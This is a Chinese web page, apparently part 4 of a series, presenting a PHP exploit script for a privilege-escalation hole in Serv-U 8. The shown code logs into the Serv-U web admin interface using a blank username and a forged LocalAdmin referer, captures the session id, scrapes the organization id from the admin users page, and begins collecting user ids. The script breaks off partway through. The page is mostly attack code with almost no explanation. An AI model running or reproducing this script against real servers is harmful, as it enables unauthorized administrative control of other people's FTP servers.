发现serv-u8提权漏洞(4)
时间:2010-01-15 13:37来源:未知 作者:admin 点击:次
$sock_login = fsockopen($host, $port); $URL='/Web%20Client/Login.xml?Command=LoginSync=1543543543543543'; $post_data_login['user'] = ""; $post_data_login['pword'] = $ftppwd; $post_data_login['language
$sock_login = fsockopen($host, $port);
$URL='/Web%20Client/Login.xml?Command=Login&Sync=1543543543543543';
$post_data_login['user'] = "";
$post_data_login['pword'] = $ftppwd;
$post_data_login['language'] = "zh%2CCN&";
$ref="http://".$host.":".$port."/?Session=39893&Language=zh,CN&LocalAdmin=1";
$postStr = createRequest($port,$host,$URL,$post_data_login,$sessionid,$ref);
fputs($sock_login, $postStr);
$result = fread($sock_login, 1280);
$sessionid = getmidstr("<sessionid>","</sessionid>",$result);
if ($sessionid!="")
echo "登陆成功!";
fclose($sock_login);
//login-----------------------------------------
//getOrganizationId-------------------------------
$OrganizationId="";
$sock_OrganizationId = fsockopen($host, $port);
$URL='/Admin/ServerUsers.htm?Page=1';
$postStr = createRequest($port,$host,$URL,"",$sessionid,"");
fputs($sock_OrganizationId, $postStr);
$resultOrganizationId="";
while(!feof($sock_OrganizationId)) {
$result = fread($sock_OrganizationId, 1024);
$resultOrganizationId=$resultOrganizationId.$result;
}
$strTmp = "OrganizationUsers.xml&ID=";
$OrganizationId = substr($resultOrganizationId,strpos($resultOrganizationId,$strTmp)+strlen($strTmp),strlen($strTmp)+15);
$OrganizationId = substr($OrganizationId,0,strpos($OrganizationId,"\""));
fclose($sock_OrganizationId);
if ($OrganizationId!="")
echo "获取OrganizationId".$OrganizationId."成功!";
//getOrganizationId-------------------------------
//getuserid---------------------------------------
$getuserid="";
$sock_getuserid = fsockopen($host, $port);
------分隔线----------------------------